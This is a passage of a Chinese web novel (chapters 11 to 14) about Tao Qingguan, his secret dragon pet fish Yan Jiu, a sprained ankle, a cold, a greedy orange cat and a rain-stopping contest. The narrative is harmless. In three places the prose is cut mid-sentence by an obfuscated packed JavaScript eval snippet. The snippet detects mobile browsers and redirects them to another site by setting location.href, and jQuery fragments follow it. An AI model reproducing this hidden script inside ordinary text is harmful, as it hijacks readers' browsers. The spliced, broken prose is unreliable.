陶清观还留了个心眼,在家里的角落放上了老鼠粘,靠近冰箱的地方,他特地多放了些。 接下来几天,陶清观守株待兔,结果……一无所获。 当然,他的菜也一无所获。 陶清观:) 看着第N次被洗劫过的冰箱,陶清观佛了。 他想了各种办法,连小贼的影子都没见着,一转头的功夫,冰箱里的菜就消失无踪。 家里的老鼠粘,偷菜贼没沾着,陶清观自己被沾了好几次,最后他黑着脸把老鼠粘扔进了垃圾桶。 陶清观望着所剩无几的菜肴,发出一声冷笑,癫癫的笑声惊醒鱼缸里的宴氿。 宴氿游到玻璃边,观察陶清观的神色,有那么亿点点心虚。 不会给孩子气傻了吧,它又不是全吃了,还是给小孩留了点的。 陶清观用力把冰箱门甩上,连带着冰箱都震了几下。 他转身向后门走去,发泄似地跺着地板,踩得哐哐响,陶清观拿起门旁的雨伞,换上防水的鞋,走出门。 陶清观气势汹汹的,像要找人算账,但其实他出门的目的和偷菜贼没关系。 雨下了有三天了,给小白换水的日子一拖再拖,雨到今天依旧没有要停的趋势,陶清观怕再拖下去,小白这条精贵的鱼受不了。 趁着今天雨不大,他去后山接些泉水回来。 11. 第 11 章 上山的路简单修缮过,但下了这么多天雨,路面泥泞不堪,陶清观走得深一脚浅一脚的,小腿处溅上不少泥点子。 陶清观一手拿伞,一手拎着红桶,沿着小路慢慢往上爬,平日里一刻钟不到的路程,今天他走了二十多分钟还没到。 真是养了条祖宗。 好在小白每次换水,只用换满缸的三分之一,他拎一桶泉水回去就差不多了。 陶清观拨开伸到脸上的树枝,将伞收起弯腰走进狭窄的石缝中,没走两步,眼前的景色豁达开朗。 一块大石板嵌在石壁上,形成天然的挡雨棚,清澈的泉水从下边缝隙中涌出,如小型瀑布一般坠入石坑中。 待石坑盛满,泉水就会顺着山坡一路往下,最后汇聚到小溪之中。 小时候,他经常钻到这里面玩,鲜为人知的场所,总能吸引人类幼崽旺盛的好奇心,比如,过来搭个秘密基地什么的。 陶清观将水桶放在缝隙下接泉水,等待的功夫,他弯腰拨开茂密的杂草,看着后边石壁上歪七扭八的字,他不由莞尔。 ‘天才’二字,为了写得飘逸,不仅倒笔画,而且还丑,充斥着他那时的桀骜不驯。 挺好的,小时候的他只是想当龙傲天,又不是想当太空人,能有什么坏心思。 欣赏了会儿自己的大作,陶清观又把草盖回去,这种杰作,他一个人知道就好了,真正的天才总是孤傲的。 陶清观见桶里的泉水差不多接满,他站起身,握住把手,调整了下角度,将水桶提了起来。 一桶水,三十来斤,陶清观回去的步伐明显沉重不少。 雨点打在伞面上,响声越发密集,似乎有下大的趋势,陶清观加快脚步。 又走到那根伸出来的树枝,这次陶清观没有手将它拨开,只好歪着身子绕过去,却不想他人是过去了,伞的一角却挂在了树枝上。 陶清观措不及防,被拉得一个踉跄,脚下踩空,脚踝狠狠一扭,撞到了旁边的碎石上。 他慌忙抓住树枝稳住身形,手里的伞掉落在地,陶清观第一时间去看水桶,因为有盖子,里面的泉水没洒多少,他松了口气。 陶清观捡起伞,甩掉伞伞的草叶,重新站好,左脚甫一接触到地面,钻心的刺痛感袭来,他眉心微皱,稍稍活动了下脚踝。 骨头没事,估计是软组织挫伤了。 陶清观面无表情地往下走,左脚不太听使唤,他刻意加重力道,等疼麻木了,痛感减轻不少。 他眼睛都不眨一下,立志当个冷酷无情的杀手。 今天,他就让左脚知道,谁,才是这具身体的主人。 屋内,鱼缸里。 宴氿在两头来回游,目光频频转向后门的位置。 这都半个多小时了,外面还下着雨,小孩瞎溜达啥呢,怎么还不回来。 宴氿看着秒针一圈圈绕着,游得速度越来越快,几乎看得见残影,这时,它注意到平日里放在长桌下,用来换水的桶不见了。 是去接泉水了?这个天? 它心底打了个突,就算是去后山,也早该回来了。 回想陶清观瘦弱的模样,宴氿停了下来,摆动的尾纱彰显着它的内心并不平静,虽然陶清观如何,与它关系不大,但人至少不能在它眼皮子底下出事。 它犹豫了会,从鱼缸里跃出来,化作人形,他不再耽搁,大步向后山走去。 处于种种因素考量,宴氿选择走杂草丛生的小路,他暂时不想让陶清观发现自己的身份,前几天是因为不想成为作弊的共犯,这几天再加上一条偷菜…… 崎岖不平的山路在宴氿脚下如履平地,茂密的树木成了天然的遮蔽物,腿长的优势在此刻显现出来,不过三四分钟,宴氿就爬上去一大截。 他呼吸平缓,一袭白衣未被雨水沾染分毫,落向他的雨滴如有生命一般向四周避开,造物主毫不掩饰祂的偏爱。 宴氿在十米开外,发现了陶清观的身影,他放慢脚步,循着对方看不见的角度缓缓靠近。 他上下打量了陶清观一番,还好,没缺胳膊少腿,就是走路姿势怎么跟胖企鹅似的。 宴氿将目光投向陶清观姿势不太正常的那条腿,渗着血的伤口映入他的视野,脚踝处有些红肿,再加上擦伤,他反应过来,原来是把脚扭了,怪不得磨蹭这么长时间没回来。 陶清观一声不吭地往下走,左脚隐隐有些发颤,他咬咬牙,提着的水桶的手攥紧,稍微放慢了点步速。 此处距离下山还有七八分钟路程,但以陶清观现在的速度,再磨蹭个半小时也不一定能下去。 宴氿瞥了眼装得满满当当的水桶,都这样了,也不知道把水倒了点,他不由促笑一声。 有够倔的。 宴氿欣赏了会儿陶企鹅,看到对方走到陡坡,他垂在身侧的手指微微屈起。 陶清观手上骤然一轻,他愣了一下,找了个平坦点的地将水桶放下,他弯腰打开盖子,泉水好好地待在里面,可等他再把桶提起来时,装满水的桶却轻若无物。 突然遇见怪力乱神的现象,陶清观很淡定,他梭巡四周,没找着可疑的鬼影,但手里轻飘飘的水桶时刻提醒着他这不寻常。 陶清观在原地寻找了片刻,没找着异常的地方,他接着往山下走。 没有水桶拖累,陶清观的速度明显快了不少,他走过一处拐角,没过几秒,又倒着走了回来。 看着石头上的土地庙,陶清观敛眸思索。 因为自家爷爷好像是个跳大神的,陶清观并不算一个严格的唯物主义者,但遇到这种科学没法解释的事,他也是第一次。 眼前的土地庙不过一米高,破破烂烂的瓦屋房,房顶还漏了两个洞,里面的土地像历经风雨的冲刷,面容都变得模糊不清。 庙口用来供奉的石盘子更是裂成了两半,上边还挂着七零八落的蜘蛛网,显然已经很久没有接受到供奉。 雨水从漏洞中涌进来,全灌在土地公的脑袋上,把它圆润的脑壳冲刷得锃亮,整座庙用寒酸来形容,都是抬举。 陶清观盯着土地庙看了一会,又抬眸望向远处,这里离家已经很近了,再拐一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278594|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯就能到后院门口。 他握住伞把的手微微收紧,短暂地犹豫后,他将伞搁在了土地庙上。 雨水啪嗒啪嗒落下,打弯了翠绿的草叶,清脆的声响如跃动的音符,一把天蓝色的伞静静地立在那,为这方小天地提供了庇护。 宴氿出现在土地庙旁边,他看着陶清观小跑着的背影,眼中泛起星星点点的笑意,龙能控水,操控桶里的水对他来说轻而易举。 他歪过头瞥向旁边的土地公,有些嫌弃,灰不溜秋的,没有半点起眼的地方,人类流水线上生产出来的废料,自然不会有神明存在其中。 继雨天娃娃之后,又给他整出一个土地庙,看着压在庙上的雨伞,宴氿嘴角往下压了压,吐出一个字,“蠢。” 这个蠢也不知道他在骂谁。 土地公静静地立在那,它不会说话,无法给宴氿回应。 宴氿没在原地停留,抬脚往山下赶,他得在陶清观发现他不见之前,先一步回到鱼缸里。 陶清观回到家,衣服湿了大半,鞋子里更是能倒出水来。 他把袜子脱了,换上拖鞋,酸痛的左脚总算舒服些,但走路时还是能看出不太利索。 手中的桶依旧轻飘飘的,陶清观拎着桶走到大堂,掀开鱼缸的盖子,开始换水。 这套流畅陶清观已经很熟悉了,他轻车熟路地把水换好,面对凑上来的小白,他伸手戳了下小白的脑袋。 “乖,晚点爸爸再陪你玩。” 宴氿心底无语,它躲开陶清观还想得寸进尺的手,游到对方够不到的地方。 戳不着,陶清观将手收了回来,他抹了把脸,衣服湿漉漉的,黏在身上算不上好受,他薅了几张纸擦脸,目光触及袋子里的苹果,他准备拿换洗衣服的动作稍稍停顿了一下。 他想起那句万物有灵,土地庙也算在其中吗? 陶清观把衣服放到一旁,从袋子掏出一个苹果,在橱柜里拿上一个盘子,又跑出了门。 宴氿听到后门开关的声音,自水底浮上来,眼底闪过一丝疑惑。 小孩怎么又跑出去了。 不过这一次,陶清观没几分钟就两手空空地回来了,紧接着浴室里响起放水的声音。 宴氿出于好奇,从鱼缸里翻了出来,他估摸着陶清观洗澡还要一会,轻手轻脚地从后门溜了出去。 陶清观去了哪,很好猜。 宴氿直奔土地庙,果不其然在土地庙门口看到了新放的盘子,以及盘子里那颗红彤彤的苹果。 小小的土地庙有了供奉,荒凉感都淡来不少,破败的小房子染上些许烟火气。 宴氿微微怔神,他轻轻笑了一声,像是看到什么有趣的东西,眼中泛起晦涩难明的色彩。 过了半晌,宴氿踱步上前,他蹲下身子,拿起苹果在手中把玩,他唇角扬起一抹弧度,笑容玩味,宴氿抬眸望向沉默不语的土地像,语气中带着丝不易察觉的得意。 “这是给我的。” 宴氿斜靠着土地庙,咔嚓一下咬了口手中的苹果。 不错,还挺甜。 12. 第 12 章 陶清观洗了热水澡,把空调温度调高,在被窝里缩了一晚上,还是没防住。 大夏天,三十多度,他,感冒。 陶清观打了个喷嚏,默默抽纸擤鼻涕,结果擤完,两个鼻孔都不通气了,他用力把纸搓成一团,啪嗒一下扔进垃圾桶里。 外面的雨还在下,下得陶清观心烦意乱,此刻,他的攻击力强得没边。 “下下下,大明湖畔的水都没这几天下得多。” 陶清观忿忿不平,又打了个喷嚏,他木着脸擦了擦鼻子,半包纸用完,鼻子下边火辣辣的疼。 坐着难受,躺着也难受,陶清观爬起来溜达。 他把床边的雨天娃娃拿了下来,上下颠倒了一下再挂回去,陶清观拍拍倒立版雨天娃娃,现·晴天娃娃的脑袋,“你给点力。” 鱼缸里的宴氿听到陶清观的话,在心底呵呵两声。 你的代打拒绝上号:) 改一次能说换个考核内容,来回改就是在捉弄人了,它能感觉到有几方灵在纠葛,这场雨还要再下上一段时间。 陶清观蔫哒哒地走了两圈,左脚又开始抗议,他一屁股坐到沙发上,浑身上下透着生无可恋的气息。 唉,这哪是来养身体的,分明是来给自己找罪受的。 陶清观张着嘴呼吸,像极了岸上缺水的鱼,他瞄了眼时间,差不多该吃午饭了,但他一点胃口没有。 人一两顿不吃又不会死,随便吧。 要是饿死,正好拉着那个偷菜贼一起死。 陶清观从沙发滚到地上,抱起被子,为了找到鼻子能通气的角度,他来回翻滚,最后迷迷糊糊间失去了意识。 时间一分一秒流逝,不知过了多久,鱼缸内传来动静。 宴氿踱步走到陶清观身旁,蹲下身子,伸手向陶清观额头探去。 没发烧。 他半是无奈地看了陶清观一眼,让他这个被契约的来照顾参赛者,也是够离谱的。 宴氿到二楼找出手机,给陶笠鹤发了几条消息。 人是对方送来的,明知道自家小孩身子不好,还不看着点,尽为些无足轻重的东西瞎折腾。 另一边。 陶笠鹤收到孙子病倒的消息,心底咯噔一声。 这过去养病的怎么还越养越差了,可他一时半会儿抽不开身,更何况参赛者中有几位他的老朋友,他离开本就是为了避嫌,现在回去怕是有些麻烦。 虽然有他的私心在,但让陶清观这个局外人作为守着龙王的人选,也是他们会议得出的决定。 陶笠鹤原地来回踱步,最后还是放心不下,给陶清观打了电话。 被电话铃声吵醒时,陶清观人还蒙着,他以为是闹铃响了,头也不抬地摁了一个键,下一秒,他爷爷的大嗓门从电话中传来。 “干什么呢?半天不接电话。” 陶清观有气无力地回答,“睡觉。” 话说完,他就知道自己完了,鼻音太重,任谁都能听出异常。 “生病了?吃药没有?”陶笠鹤自问自答,“估计没有,家里没药,你小子肯定懒得出去买。” “你都知道了还问我。”陶清观自暴自弃地用枕头盖住脑袋。 真是奇了怪了,被赶来祖宅休息也是,他爷爷总能找到他没法遮掩的时候,给他打电话。 “臭小子。”陶笠鹤笑骂一声,“我等会给你陈丰明叔叔打电话,就胖胖的那个,你应该见过,你拿到药记得谢谢人家。” 陈丰明,参赛者天赋最差的一批,赶着上来凑数的,让他给陶清观送药,就算对方有小心思,和龙王多相处了一会儿,对结果也没什么影响。 “嗯。”陶清观幽幽叹了口气,“对了,爷爷啊。” 陶笠鹤听到这声,眼皮子猛得一跳,以往的经验告诉他,接下来准没好事,他粗着嗓子问道:“干嘛?” “你要不抽空去祖坟瞧瞧,看看有没有墓碑缺棱少角,或者被水淹了之类?我感觉祖宅不太安宁,多半是坟里出事了。” 陶笠鹤额角青筋直跳,“别胡说八道。” “我说真的,你不能讳疾忌医。”陶清观在他爷爷底线上来回蹦迪,“我小时候,你不是还经常出去跳大神,实在不行,你去祖坟那舞两段。” “我那不是!”陶笠鹤气急败坏,“小兔崽子,滚滚滚!” 陶清观还想再说,但电话已经被挂断,他撇撇嘴,无奈摇了摇头。 他说的都是真话,怎么就不信呢。 陶清观搓了搓脸,从地铺上坐起来醒神,睡了一觉,病情没好转,脑袋反而更晕了,陶清观甩甩脑袋,试图把脑子里的浆糊甩匀。 忽然,大门传来响动,陶清观刚诧异陈丰明怎么来得这么快,但仔细听,发现那并不是敲门声,而是爪子扒拉门的声音,隐约还伴着细微的猫叫声。 陶清观脑子里勾勒出,一只瘦弱可怜的小奶猫,因为连下几天雨无处可去,又找不到食物,饿得瘦骨嶙峋,只能找人类寻求帮助。 他不由生出几分通病相邻的感觉。 小猫不要怕,你的强来了! 陶清观找了条干燥的毛巾,伸手将门打开。 “小咪咪,到这……” 后半句话直接消音,陶清观看着脚下的,嗯……一辆半挂,说出口的‘小’字尤其烫嘴。 煤气罐似的橘猫讨好地蹭了下陶清观的小腿,它想撒娇,但一时没发挥好,发出一声。 “嘎~” 陶清观:“噗。” 橘猫眼睛瞪圆,不敢相信刚刚的声音居然是自己发出来的,毛茸茸的脸上浮现尴尬的表情,它又是搓脸,又是添爪子,假装自己十分忙碌。 陶清观弯腰摸了摸橘猫宽广的后背,开口道:“要进来吗?” 橘猫夹着嗓子,黏腻腻地叫着,“喵喵~” 陶清观点了下脑袋,赞叹道:“不错,这次夹好了。” 猫猫能有什么小心机,猫猫只想干饭。 它埋头狼吞虎咽,像是饿了好久,但这实心的身材,陶清观再怎么违心,也说不出橘猫挨饿的话。 在橘猫吃完碗里的饭,优哉游哉舔毛时,敲门声响起,陈丰明终于来了,他不仅带着药,手里还拎着一大袋饭菜。 陈丰明一进门就看到一辆橘猫,他奇怪地咦了一声,开口道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278595|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “黄局怎么跑到你这来了,它刚在我那炫了两碗猫粮。” 又喂了橘猫一碗饭的陶清观:“……” 他斜了眼舔毛的黄局,说吧,你外面还有几个老相好。 没想到啊,黄局这身肉,硬是靠自己本事吃出来的。 听不懂人话的黄局无辜地喵了两声,躺在地上露出自己毛茸茸的肚皮,勾引眼前的两个人类。 陶清观仗着自己离得近,毫不客气地上去撸了两下。 手感不错,跟个大肉球似的。 陈丰明瞧着黄局黏人的模样,嘿嘿笑笑,“可爱吧,镇上猫咖里溜出来的,后来也没人找,就在村里放养了。” 陶清观闻言,眉尖上挑。 原来是宫里出来的,怪不得这么会讨人欢心。 陈丰明就随口提了几句,没多在意一只小猫咪,他把手里的东西放在茶几上,又将热腾腾的饭菜推到陶清观面前,说道:“来,先吃饭,再吃药,别跟叔叔客气。” 他偷瞄着龙王,心底算盘打得啪啪响,多拖一会儿,他就多一分表现的机会,他忍不住窃喜,老陶这个朋友没白处,有好事还是想着他的。 陈丰明看陶清观的眼神越发慈祥,“小观啊,你一个人行不行?要不要叔叔搬过来陪你住两天?” 陶清观听到陈丰明这比黄局夹得还过分的嗓音,鸡皮疙瘩抖了一地,他干笑了两声,回答道:“不用,我一个人挺好的。” 陈丰明也不气馁,笑呵呵地望着陶清观,“你快吃。” 陶清观知道爷爷都和陈丰明说好了,没瞎客气,打开陈丰明送来的饭菜,慢条斯理地动筷,不过一直被人盯着,饶是他心大,吃得也有些难受。 他屁股默默往旁边挪了点,主动挑起话题,“叔,你还想买小白吗?” 陈丰明一激灵,前些日子惨痛的经历历历在目,他连连摆手,“不了不了,有些缘分强求不来,上次是叔叔冒犯了。” 好叭,真可惜。 陶清观端起汤嘬了一口,生着病,他胃口不太好,吃饭慢悠悠的,等胃里有些东西,他放下碗筷,准备歇会儿,再吃药。 陈丰明嘴闲不住,没人理,他也能说上半天,“唉,这些天下雨,你感冒就别出去了。” 陶清观:“嗯。” 陈丰明眼神忧郁,仰头45度角望天,“不知道雨什么时候才能停,要是我能让雨停就好了。” 陶清观疑惑,“这有什么说法吗?” 陈丰明想起陶清观不知道比赛的内幕,他到嘴边的话拐了个弯,“你大概不知道,这是我们这的习俗,能让雨停,接下来都能一帆风顺,顺风顺水,心想事成。” 说完,他又感慨一句,“真希望我能让雨停。” 有这种事? 陶清观感觉自己最近挺倒霉的,宛如中了水逆,如果祈求雨停能让人好运加身,他也希望这场雨停下。 但哪有这么玄乎的事,光想想,雨哪能…… 陶清观无意间瞥向窗边,瞳孔骤然收缩,有一圈光晕亮起,一抹阳光探进屋内,外边的雨声渐行渐远,他抬起手,指尖接住跳跃的金光。 雨,停了。 13. 第 13 章 空气中的尘埃如浮光掠动,细小的灰尘染上落日余晖,照亮陶清观的眼眸,他感受着手背的温度,神色恍惚。 鼻子通顺了,脑袋好像也没那么难受了,效果立竿见影,居然真的…… “雨停了!?”陈丰明嚎了一声,嗓子都喊劈叉了,“雨停了!” 他一骨碌从沙发上跳起来,灵活得不像二百来斤的胖子,“你看到了吗?雨停了!真的停了!” “列祖列宗在上,我陈丰明也是光宗耀祖了。”陈丰明兴奋得就差手舞足蹈,语速跟机关枪似的,“是我让它停的吗?一定是我!我刚说完雨就停了,哪有这么巧的事,我就说我天赋不差,只是差点运气,这运气来了,不就什么都好了!” 陈丰明喜上眉梢,五官挤作一团,身上的肉都跟着抖动,他双手合十,嘴里念念有词,东南西北拜了个遍。 陶清观被陈丰明癫狂的举止唬得一愣一愣的,他脚下往远离对方的位置跨了一步,但他还是迟了些,下一秒,他的手就被陈丰明拽住。 “你知道我有多不容易吗?天天起早贪黑爬起来跑操,我都瘦了。”陈丰明抹了把不存在的眼泪,“叔太高兴了,终于让我等到扬眉吐气的这一天了,我不是只能靠投机取巧,我也是有实力的!” 陶清观嘴角抽搐,“呃……好。” 他试图把手抽回来,结果没抽动,陈丰明这会太激动了,把他的手攥得紧紧的。 “大侄子,你可是叔的证人,这雨就是我停下的。”陈丰明急于证明自己,把脸怼到陶清观跟前,“叔知道,你肯定跟叔一条心,不然也不会单单让我进来这么多次,你放心,我肯定不会忘了你的好处的,以后有事尽管来找叔。” 陶清观:“!?” 我不是,我没有,你别瞎说! 可在这时,鼻子一酸,熟悉的感觉涌上来,陶清观来不及反应,眼前的视线就花了,他泪眼朦胧,在陈丰明眼中看到了错愕。 陶清观:“……”完犊子。 “大侄子!!!”陈丰明嗷出声,喊得撕心裂肺,那眼泪也是唰一下就出来了,“叔就知道你心里有叔!” 陶清观炸毛,使出吃奶地力气拔出手,瘸着腿,噌噌向后退出十里地。 陈丰明还想追,身子却猛地僵住,周围的灵挤压翻涌,将他定在原地,挤出的眼泪滑稽地挂在脸上,他如同生锈的木偶,一顿一顿地转过脑袋,那双漆黑的眸子静静地注视着他,一瞬间,他遍体生寒。 它全知道了,他的那点小心思一丝不落地曝露在它眼皮子底下。 陈丰明讪讪收回手,他咽了口唾沫,两手拘谨地交握在胸前,结结巴巴地开口,“抱、抱歉,我太…太激动了,呃……” 他心底苦笑,是不是自己让雨停下,他心知肚明,不过是感应到灵最强的波动就在附近,他试图以假乱真罢了。 毕竟他就在那位面前,说不定就…… 陈丰明不敢再想,他打了个寒颤,小腿肚子止不住地颤抖,他甚至没有再次扭头去看那位的勇气。 陶清观见陈丰明跟人格分裂似的,一秒变脸,像在发神经,但他也没资格说人就是了,他抬手擦掉眼角的泪花,心情沉痛。 他的一世英名啊! 陶清观挤出一个堪称狰狞地笑容,“没事,叔你情绪不能这么起起伏伏,年龄大了容易高血压。” “好好。”陈丰明抬手抹了把脑门上的虚汗,迫不及待地想要逃离这里,“那什么,要到跑晚操的时间了,我先走了,你好好休息。” 说完,他逃也似的离开,背影透露着些许惊慌失措。 陶清观板着脸把门关上。 汤姆的,脑阔疼,脑阔好疼。 他就说这间屋子不干净,祖坟八成是被水淹了,不然他哪来那么多眼泪流,不行,他说什么都要把爷爷带到祖坟上跳两段。 实在不行,他去跳也行,小时候爷爷教过他一点,就是他都忘得差不多了,也不知道有没有用。 但……祖坟在哪来着? 陶清观面无表情地抽了张纸擦眼泪,刚有陈丰明捣乱,他没功夫管,现在好好感受一下,他发现自己感冒的症状真的消失了。 他走到窗户边,探着脑袋往外看,太阳挂在天空边缘,晚霞绵延千里,火烧云将周遭映得通红,到处都找不到一点乌云的影子。 效果竟然真这么好,他还以为陈丰明是骗人的。 陶清观双手撑着窗户边,身子后仰,他歪过头看向挂在那的晴天娃娃,抬手摸了摸下巴。 是不是他脖子上挂根绳,吊在那效果更好? 宴氿注意到陶清观看破布娃娃的眼神,虽然不知道对方在想什么,但它直觉不是什么好东西。 它眼底神色复杂,陶清观身边还残留着未完全散去的灵,而这些灵是对方从它用来唤雨的灵里硬撕下来的。 其余参赛者是想尽办法打散它的灵,从而让雨停下,陶清观倒好,直接把它的灵扯下来吞了,关键是还真让他撕下来了。 虽然因为消化不良,又开始啪嗒啪嗒掉眼泪,但这也不能掩盖陶清观粗暴的手段,能正面和它硬刚,是个人人才。 宴氿用一种很新奇地目光打量陶清观,像是发现了什么不可思议的东西,它本以为陶清观是没法使用体内的灵,但现在看来,也不是完全没有使用的可能。 这小半个月,陶清观没少吃含灵量高的食物,之前宴氿没有注意,但现在仔细看来,陶清观体内能储存的灵明显多出不少。 灵一定程度上有强身健体的功效,正是因为如此,陶清观的感冒才会瞬间不治而愈。 不过每个人的天赋都是固定的,像陶清观这种随势而长的天赋,不说举世无双,也是百年难遇,若是能找到让陶清观使用灵的方法,对方超越陶笠鹤这个如今的雨师第一人,也未尝不可。 这下有趣了。 按照现在的分数来算,一开始不被看好的陶清观反而成了第一,而考核的总分是四六分,六分在与考核中的表现,剩下的四分则由他决定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278596|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也就是说,只要他想,最后的胜者就将是陶清观。 宴氿抬眸扫过陶清观白净的脸庞,眼中有笑意一闪而过,接下来就看对方的表现了。 陶清观打了个喷嚏,他用食指蹭了蹭鼻子,没忍住又打了一个。 是谁在念叨他?还是说感冒没好全? 陶清观看了眼茶几上的药,决定再吃两顿巩固一下,体质可以废物一点,但感冒真的很难受。 一直被冷落的黄局踩着猫步来到陶清观脚边,它喵喵叫了两声,用脑袋去顶陶清观的小腿。 陶清观弯腰托住黄局的两条前爪,起身……没起动,黄局的重量比他想象中还要令人安心,他略有些尴尬地收回手,改为揉了揉黄局的脑袋。 “你该减肥了。”陶清观戳了下黄局的脑袋瓜子,“你像个披着猫皮的猪。” 是恶评,黄局不听,不依不饶地蹭陶清观刚刚碰过食物的手,企图再骗些好吃的出来。 有点小心思全花在吃上面了。 陶清观啧啧两声,他绕过黄局,走得毫不犹豫,他周身的灵还未平息,只待一个契机就能引下骤雨。 宴氿目光追随着陶清观移动,眼底划过一丝暗色。 是打算借势唤雨么,确实是个好办法,短时间聚集这么多灵的机会实属难得,如果这场雨能成功降下,那陶清观契约者的身份无人能质疑。 一步、两步,三步…… 陶清观走到床铺边缘,一屁股坐下,他薅过跟过来的黄局,开口道:“乖猫猫,陪我睡觉。” 黄局没反抗,在地铺旁趴下,脑袋跟乌龟似的伸出去,搁在陶清观手边。 接客咯。 陶清观昨晚鼻子不通,根本没睡好,现在浑身舒畅,又吃饱喝足,此刻不补觉,更待何时。 软香猫在怀,陶清观满足地喟叹一声,他早就想养毛茸茸的小动物,可惜没时间,现在白嫖一只,快哉。 于是在宴氿的注视下,陶清观愉快地躺平睡大觉。 宴氿沉默不语,直至陶清观周围的灵全都散掉,它面色有一瞬间扭曲。 就知道睡觉,太不思进取了。 它又睨了眼陶清观怀里搂着的猫,冷哼一声。 玩物丧志。 然而,陶清观不止现在睡,接下来的几天也睡,他照常吃吃喝喝,将摆烂贯彻到底。 没办法,左脚没好利索,一旦路走多了,陶清观就感觉自己像个瘸子,得向他爷爷申请点残疾补助的那种。 他是工伤,是工伤! 宴氿一直没等到陶清观下一步行动,它的心情曲线,从一开始的高峰,掉到低谷,最后沦为一条平坦的直线,它看陶清观的眼神都变了。 这么沉得住气? 陶清观:阿巴阿巴。 他仰头望着窗外,眼神中透露着期待,今天黄局怎么还没过来,他饭都准备好了,是二餐也没关系,他心甘情愿当备胎。 呜呜呜,不愧是宫里出来的,真会玩弄人心。 14. 第 14 章 寻不见黄局的踪影,陶清观把目光转向鱼缸里的小白,这些天他忙着和黄局亲亲热热,把小白给冷落了。 还是家花不如野花香,男人啊,唉~ “白啊。”陶清观凑到鱼缸面前,心虚地想补偿一下小白,“水温咋样,舒服不?” 宴氿抬眸瞥了眼神色殷勤的陶清观,眼底些许疑惑。 嗯?又想跟它抢鱼缸? 今天室内温度不算热吧。 陶清观掀开盖子,伸手去摸宴氿,“小白,你啥时候能长双腿呢,这样你就能出来玩了。” 宴氿:“……” 得,是又发病了。 陶清观一手托腮,说得理直气壮,“长个腿,你就是美人鱼了,上半身鱼,下半身人,怎么不算人鱼。” 宴氿用一言难尽地目光看向陶清观,这口味,有点重啊。 脊背处掠过指腹的温度,宴氿眼眸微微眯起。 它就说这两天怎么感觉不太对劲,原来是小孩最近没来骚扰它,耳边突然清净了,怪不习惯的。 这时,宴氿又听见陶清观嘀咕。 “大猫猫怎么还不来,都迟到一个多小时了,是不是在外面养别的狗了。”陶清观眉心紧皱,像是遇到什么世纪难题。 “哎哟。” 手指被不轻不重地抽了一下,陶清观去看,就望见小白游走的背影,他忽然有种被捉奸在床的感觉。 自知理亏,他冲小白讨好地笑笑,“放心,爸爸还是在意你的,想不想吃葡萄?” 虽然暂时卖不出去,但小白好歹身价过亿,他做人绝不忘本。 陶清观从冰箱里拿出一串葡萄,他摘了一颗,剥皮去籽,一口咬掉大半,他咂巴了下嘴。 甜甜的,好吃。 他回到鱼缸前,把剩下的那点葡萄递到小白嘴边,说道:“多吃点,别客气。” 宴氿望着被咬过的葡萄,并不是很想吃。 半个来月了,总算记起那些送来的东西,也有它的一份,不容易。 宴氿看向陶清观,小孩眼睛亮闪闪的,充满期待,它迟疑片刻,还是上前吃了一口。 罢了,从小孩嘴里抢到点吃的也是难得。 陶清观见小白吃了,发出哇偶一声,“原来鱼真的会吃葡萄,小红薯*诚不欺我。” 下一秒,梅开二度。 “哎哟。” 陶清观瞪向小白,控诉道:“你又抽我!” 宴氿不为所动。 抽一下它还觉得少了,像陶清观这种,该吊起来打屁股。 “不喂你了。” 陶清观冷哼,把手收回来,甩了甩手上水,他看了眼墙上的挂钟,又面露担忧,嘴里喃喃着,“还不来……” 像黄局这个吨位的,忘记什么,都不可能忘记吃,不会是遇到什么意外了吧。 比如,钻院墙的时候卡住了。 祖宅的院墙挺高的,旁边也没什么树木借力,一般人都爬不上去,不过因为年代太久,院墙角落破了个洞,黄局这些天都是从那走进走出。 陶清观抿了抿唇,决定去看一眼,他换好鞋,久违地跨出大门。 他直奔狗洞去,但很可惜,洞里空空如也,连根猫毛都没有,没捡到猫的陶清观露出失望的表情。 忽然,他听见院外有谈话声,陶清欢扭头从铁门处往瞅了一眼,发现是两位眼熟的人。 这个村,也没什么他不眼熟的人,都是来送过菜的关系。 外面的人也发现陶清观,他们相互对视一眼,一同冲陶清观露出和善的笑容。 高一点的中年男人开口:“小观呐,出来散步?” 陶清观道:“不是,我是来找黄局,那只胖胖的橘猫,你们有看到吗?” 黄局一天到晚在村子里骗吃骗喝,自己这个刚来的人都被碰瓷了,其他人应该也见过黄局。 矮个中年人回答道:“今早跑步的时候看到过,它性子野,经常找不到影。” 陶清观没想到眼前人居然是天天跑操的一员,他目露敬佩,开口道:“好,谢谢。” 他转身欲走,刚迈出一步,身后的人喊住他。 